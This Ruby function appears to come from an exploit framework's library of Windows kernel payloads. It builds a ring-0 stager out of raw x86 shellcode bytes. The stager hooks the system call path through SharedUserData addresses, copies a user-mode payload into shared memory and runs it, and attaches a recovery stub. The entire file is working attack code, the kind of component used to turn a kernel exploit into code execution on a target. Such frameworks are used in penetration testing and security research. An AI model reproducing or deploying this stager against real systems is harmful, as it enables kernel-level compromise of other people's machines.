def self.sud_syscall_hook(opts = {})
r0_recovery = opts['RecoveryStub'] || Recovery.default
r3_payload = opts['UserModeStub'] || ''
r3_prefix = _run_only_in_win32proc_stub("\xff\x25\x08\x03\xfe\x7f", opts)
r3_size = ((r3_prefix.length + r3_payload.length + 3) & ~0x3) / 4
r0_stager =
"\xEB" + [0x22 + r0_recovery.length].pack('C') +
"\xBB\x01\x03\xDF\xFF" +
"\x4B" +
"\xFC" +
"\x8D\x7B\x7C" +
"\x5E" +
"\x6A" + [r3_size].pack('C') +
"\x59" +
"\xF3\xA5" +
"\xBF\x7C\x03\xFE\x7F" +
"\x39\x3B" +
"\x74\x09" +
"\x8B\x03" +
"\x8D\x4B\x08" +
"\x89\x01" +
"\x89\x3B" +
r0_recovery +
"\xe8" + [0xffffffd9 - r0_recovery.length].pack('V') +
r3_prefix +
r3_payload
return r0_stager
end